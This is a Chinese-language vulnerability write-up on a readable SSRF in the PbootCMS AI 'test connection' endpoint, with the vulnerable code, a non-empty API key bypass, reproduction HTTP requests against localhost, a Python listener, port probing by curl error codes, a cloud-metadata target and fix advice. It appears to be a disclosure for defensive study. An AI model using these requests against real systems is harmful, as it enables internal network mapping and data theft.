PbootCMS 最新版 AI 模块 SSRF 分析:一次「防护复用遗漏」
本文分析了 PbootCMS V3.2.32 后台 AI 助手测试连接接口存在的可读型 SSRF 漏洞。攻击者通过提交非空 API Key 绕过主机名校验,利用未复用 remote_fetch.php 防护机制的缺陷向内网发起请求并读取响应内容。该漏洞可用于内网资产测绘、请求伪造及云元数据读取。
本文基于 PbootCMS V3.2.32 / V3.2.33 官方源码(两版本该文件逐字节相同),在本地环境完成复现。
已同步报送厂商与 CNVD,文章不涉及任何线上站点。
0. 先说结论
PbootCMS 后台 AI 助手的「测试连接」接口存在**可读型 SSRF**。
有意思的地方不在于"又一个 SSRF",而在于:
**同一个项目里,core/function/remote_fetch.php 已经把 SSRF 防护做得相当完整**——内网 IP 黑名单、CURLOPT_RESOLVE 固定解析结果防 DNS rebinding、禁止重定向跟随。
但 2026 年新增的 AI 模块,**完全没有复用这套现成的防护**。
这不是"开发者不懂安全",恰恰相反,是"安全能力没有传导到新代码"。这个现象在真实项目里极其普遍,值得单独拿出来说。
1. 起因:为什么去看 AI 模块
拿到一份 CMS 源码,常规审计路径是先看老代码。但老代码通常被打过很多遍,PbootCMS 这种被反复审计过的项目,前台 SQL 注入、文件包含这些经典面基本都被堵死了。
所以这次直接跳到**最近新增的代码**:
apps/admin/controller/content/AiController.php 1481 行,2026 年新增
apps/home/controller/LlmsController.php 2026-08-27 新增(llms.txt)
判断依据很简单:**新代码 = 没挨过打 = 防护意识最薄弱的地方**。
第一眼就看到了这个:
// apps/admin/controller/content/AiController.php L621
if (isset($_POST['ai_api_base'])) {
$draft['base'] = ai_input_unescape(post('ai_api_base'));
}
ai_api_base 是一个 URL,直接取自 POST,后面必然要被服务端请求。
用户可控 URL + 服务端发起请求 = SSRF 的两要素,齐了。
2. 搭环境
审计 PHP 项目,静态看代码是一半,能跑起来验证是另一半。这套环境十分钟能搭好:
准备:
- PHP 8.4 NTS(Windows 直接下 zip 解压,无需安装)
- 扩展:pdo_sqlite、mbstring、fileinfo、curl、openssl、gd
php.ini 里放开这几个即可:
extension_dir = "ext"
extension=pdo_sqlite
extension=sqlite3
extension=mbstring
extension=curl
extension=openssl
extension=fileinfo
extension=gd
启动:
php -S 127.0.0.1:8080 -t PbootCMS-master
PbootCMS 默认走 SQLite,data/pbootcms.db 是现成的库,直接就能用,不用装 MySQL。
进后台:
这里有个小技巧。如果忘记后台密码,直接看库里的哈希:
import sqlite3
c = sqlite3.connect('data/pbootcms.db')
print(c.execute("SELECT username,password FROM ay_user").fetchall())
PbootCMS 的密码算法是 md5(md5($password)):
// apps/common/function.php
function encrypt_string($string)
{
return md5(md5($string));
}
默认 admin / 123456 的哈希是 14e1b600b1fd579f47433b88e8d85291,可以直接对着改。
顺带说一句:后台登录默认要验证码 + formcheck。测试时把
admin_check_code关掉、改个非默认密码就能进去(默认密码会强制跳转改密页)。这些只影响"怎么登录",不影响后面漏洞的成立——真实场景下攻击者用自己的合法账号登录即可。
3. 顺着代码往下追
3.1 入口
// AiController.php L44
public function ping()
{
$this->guardConfigAccess(); // 只要「配置参数」权限
$this->consumeRateLimit();
$saved = $this->getProviderConfig();
$draft = $this->readPingDraft(); // ← 读 POST 的 ai_api_base
$cfg = $this->mergeAiDraft($saved, $draft);
...
$rs = $this->callAi(array(...), 256, null, $cfg); // ← 发起请求
}
guardConfigAccess() 只检查一个菜单权限:
private function guardConfigAccess()
{
if ($this->hasLevelPath('/admin/Config/index')) {
return;
}
$this->jsonError('您的账号权限不足');
}
也就是说,只要有「配置参数」这个菜单权限(或超级管理员)就能调。
3.2 一个可疑的绕过条件
继续往下看,这里有段东西很扎眼:
// AiController.php L64-73
if ($draft['api_key'] === '') {
$savedEndpoint = ai_provider_endpoint($saved['provider'], $saved['raw_base']);
if (! ai_endpoint_same_host($savedEndpoint, $cfg['endpoint'])) {
$this->pingFail('API URL 的主机或端口与已保存配置不同,请重新输入完整 API Key 后再测试', $cfg, false);
}
}
逻辑翻译一下:
如果这次**没填** API Key(准备复用已保存的那个),那么提交的 URL 主机必须和已保存配置一致,否则不给测。
潜台词:**填了新的 API Key,就随便你填什么地址。**
开发者原本的意图是防止"用别人保存的 Key 去测任意地址",但写法上只堵了 api_key === '' 这一条路。
攻击者只要随便填一个非空的 key(sk-test123 就行,反正 ping 只是发个请求看通不通),这道校验直接失效。
3.3 URL 校验到底做了什么
再看最终校验函数:
// apps/common/function.php → ai_resolve_endpoint()
if ($scheme !== 'http' && $scheme !== 'https') {
$fail['error'] = 'API URL 仅支持 HTTP/HTTPS 协议';
return $fail;
}
if (! preg_match('/^(?:\[[0-9a-fA-F:.]+\]|[a-zA-Z0-9._%\-\x80-\xff]+)$/', $parts['host'])) {
$fail['error'] = 'API URL 主机名无效';
return $fail;
}
if ($explicitPort) {
$port = (int) $parts['port'];
if ($port < 1 || $port > 65535) { ... }
}
三件事:**校验协议、校验主机名字符集、校验端口范围**。
做了吗?做了。
够吗?**完全不够。**
因为:
- 127.0.0.1 的主机名字符集完全合法
- 169.254.169.254 也合法
- 127.0.0.1.nip.io 这种指向内网的域名同样合法
- 没有任何 IP 段判断,没有 DNS 解析后的二次校验
对比一下同项目里另一处:
// core/function/remote_fetch.php L45
function remote_fetch_is_blocked_ip($ip)
{
if (! is_string($ip) || $ip === '' || ! filter_var($ip, FILTER_VALIDATE_IP)) {
return true;
}
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return true;
}
$long = ip2long($ip);
// 127.0.0.0/8
if (($long & 0xFF000000) === 0x7F000000) return true;
// 169.254.0.0/16(含云元数据)
if (($long & 0xFFFF0000) === 0xA9FE0000) return true;
// 100.64.0.0/10 CGNAT
if (($long & 0xFFC00000) === 0x64400000) return true;
return false;
}
// IPv6: ::1、fe80::/10、fc00::/7、::ffff: 映射地址
...
}
以及请求层:
curl_setopt($ch, CURLOPT_RESOLVE, array($resolveHost . ':' . (int) $port . ':' . $pinnedIp));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, 0);
这是教科书级的 SSRF 防护:解析全部 A/AAAA → 逐个校验 → 用 CURLOPT_RESOLVE 把域名钉死在已校验的 IP 上(防 DNS rebinding)→ 禁止重定向(防 302 绕过)。
而 AI 模块:
// AiController.php L1369
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); // 直接就是用户给的 URL
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_POST, true);
...
$output = curl_exec($ch);
没有 IP 校验,没有 RESOLVE 固定,没有显式禁止重定向。
同一个代码库里,一边是满分防护,一边是裸奔。这就是本文标题里说的「防护复用遗漏」。
4. 复现
4.1 第一步:确认请求真的从服务端发出

把 ai_api_base 指向本机一个没有服务的端口:
POST /admin.php?p=/Ai/ping HTTP/1.1
Host: target.com
Cookie: <管理员会话>
Content-Type: application/x-www-form-urlencoded
ai_provider=deepseek&ai_model=deepseek-chat&ai_api_key=sk-test123&ai_api_base=http://127.0.0.1:9999/v1/chat/completions
返回:
{
"code": 0,
"msg": "网络请求失败(7):Failed to connect to 127.0.0.1:9999 after 1 ms: Could not connect to server",
"data": {
"provider": "deepseek",
"model": "deepseek-chat",
"endpoint": "http://127.0.0.1:9999/v1/chat/completions",
"requested": true
}
}
requested: true 加"连接 127.0.0.1 失败"——请求是服务器发的,不是浏览器发的。
4.2 第二步:确认请求到达攻击者控制的服务
起个监听:
import http.server, socketserver, datetime
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
n = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(n)
print(f"{datetime.datetime.now()} {self.command} {self.path}")
print(f"HEADERS: {dict(self.headers)}")
print(f"BODY: {body.decode('utf-8', 'ignore')}")
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(b'{"ok":true}')
def log_message(self, *a): pass
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 7777), H) as s:
s.serve_forever()

把 ai_api_base 指过去,监听端收到:
POST /ssrf-test/chat/completions HTTP/1.1
Host: 127.0.0.1:7777
User-Agent: PbootCMS-AI/1.0
Content-Type: application/json
Authorization: Bearer sk-test123
Content-Length: 154
{"model":"deepseek-chat","messages":[{"role":"user","content":"你好,请回复连接成功。"}],"max_tokens":256,"stream":false,"temperature":0.7}
三个关键点:
- User-Agent: PbootCMS-AI/1.0 —— 程序内置标识,铁证
- Authorization: Bearer sk-test123 —— 攻击者完全控制请求头
- 路径 /ssrf-test/chat/completions —— PbootCMS 会自动在 base 后拼 /chat/completions,路径可控
4.3 第三步:读内网响应内容
这一步才是重点。很多 SSRF 只能盲打,这个能读。
让监听端返回一个 OpenAI 格式的响应(模拟内网 AI 网关 / 模型服务 / API 网关):
{
"id": "chatcmpl-x",
"object": "chat.completion",
"model": "deepseek-chat",
"choices": [{"index": 0, "message": {"role": "assistant", "content": "INTERNAL-SERVICE-DATA-LEAKED-8f3a2b"}, "finish_reason": "stop"}],
"usage": {"prompt_tokens": 1, "completion_tokens": 1, "total_tokens": 2}
}

再发一次请求,ai_api_base=http://127.0.0.1:7778,返回:
{
"code": 1,
"msg": "ok",
"data": {
"provider": "deepseek",
"model": "deepseek-chat",
"endpoint": "http://127.0.0.1:7778/chat/completions",
"requested": true,
"reply": "INTERNAL-SERVICE-DATA-LEAKED-8f3a2b"
}
}
reply 字段就是内网服务吐出来的内容。
这就是可读型 SSRF,不是只能判断端口的盲 SSRF。
4.4 附带能力:内网端口探测
改端口,看错误码差异:
| 目标 | 返回 |
|---|---|
| 127.0.0.1:22 | 网络请求失败(7):Failed to connect to 127.0.0.1:22 |
| 127.0.0.1:3306 | 网络请求失败(1):Received HTTP/0.9 when not allowed ← 端口开放但不是 HTTP |
| 127.0.0.1:6379 | 网络请求失败(7):Failed to connect |
errno 7(连不上)和 errno 1(收到非 HTTP 协议响应)的差异,足以把内网端口状态摸清楚。
5. 危害评估
| 场景 | 说明 |
|---|---|
| 内网资产测绘 | 遍历内网 IP/端口,靠错误码区分开放/关闭/非 HTTP 服务 |
| 请求伪造 | 可以向任意内网 HTTP 服务发 POST,**包括自定义 Authorization 头** |
| 数据读取 | 内网若存在 AI 网关、模型服务、内部 API,其响应会被回显 |
| 云元数据 | 169.254.169.254 未被拦截,云主机上可尝试读取实例元数据 |
| 边界穿透 | 服务器能进内网,攻击者从外网借道 |
为什么定中危而不是高危:需要后台「配置参数」权限。
但它能升级:
- 弱口令进后台 → 直接可用
- 后台 CSRF → 可打管理员
- 后台其他越权 → 从低权限管理员跳到内网平面
ping 接口本身没有显式设 CURLOPT_FOLLOWLOCATION,PHP 下 curl 默认不跟随,算个运气。但只要开发者后面加了 FOLLOWLOCATION => true(很多人会加,为了处理 API 跳转),立刻多一条 302 绕过。
6. 修复建议
**推荐方案:直接复用 remote_fetch.php 那套**
// 在 httpPostJson() 发起请求前
$ips = remote_fetch_resolve_host_ips($host);
if ($ips === false) {
return $this->errResult('目标地址不被允许');
}
// 解析出的 IP 里任一是内网/保留地址,直接拒绝
// 然后用 CURLOPT_RESOLVE 把域名钉死
curl_setopt($ch, CURLOPT_RESOLVE, array("$host:$port:{$ips[0]}"));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_MAXREDIRS, 0);
**顺带修掉那个绕过条件:**
// 改成:无论填不填 api_key,都校验目标主机
if (! ai_endpoint_same_host($savedEndpoint, $cfg['endpoint'])) {
$this->pingFail('API URL 必须是已保存配置中的地址');
}
或者更彻底——ping 接口干脆不接受任意 ai_api_base,只接受"服务商"枚举,地址从白名单里取。
**其他建议:**
1. 用 CURLOPT_WRITEFUNCTION 限制响应读取上限,避免大响应打爆内存
2. 错误信息脱敏,不要把 127.0.0.1:9999 这种内网地址直接回显
7. 一点延伸:为什么"新增功能"总是重灾区
这次能挖到东西,很大程度上不是因为技术多强,而是**选对了地方**。
回头看这个漏洞的成因:
- 老代码(remote_fetch.php)有完整防护 → 说明团队做过安全建设
- 新功能(AI 模块)零防护 → 说明这套建设**没有形成约束**
真实项目里反复出现的模式:
| 表象 | 实际原因 |
|---|---|
| 老模块安全、新模块裸奔 | 安全规范靠"记得",不靠强制 |
| 同一类漏洞修过又出现 | 修复时只修了"点",没沉淀成"工具函数" |
| 代码 Review 没发现问题 | Review 看业务逻辑,不看"这个 URL 来自哪儿" |
remote_fetch.php 里那套函数,其实就是现成的答案放在那儿,只是没人告诉写 AI 模块的同学"你要用这个"。
所以对防守方,真正的建议不是"这次小心点",而是:
把 SSRF 防护做成一个公共函数,所有外发请求强制走这个函数。 靠人记,必然漏。
对挖洞的人,这条思路同样适用:
先看最近半年新增的功能、新增的接口、新增的第三方对接。 那里防护密度最低。
附:时间线
- 2026-11-10:本地复现完成
- 报告与 PoC 已报送厂商、CNVD
(本文不提供任何可直接打线上站点的利用脚本,复现均在本地环境完成。)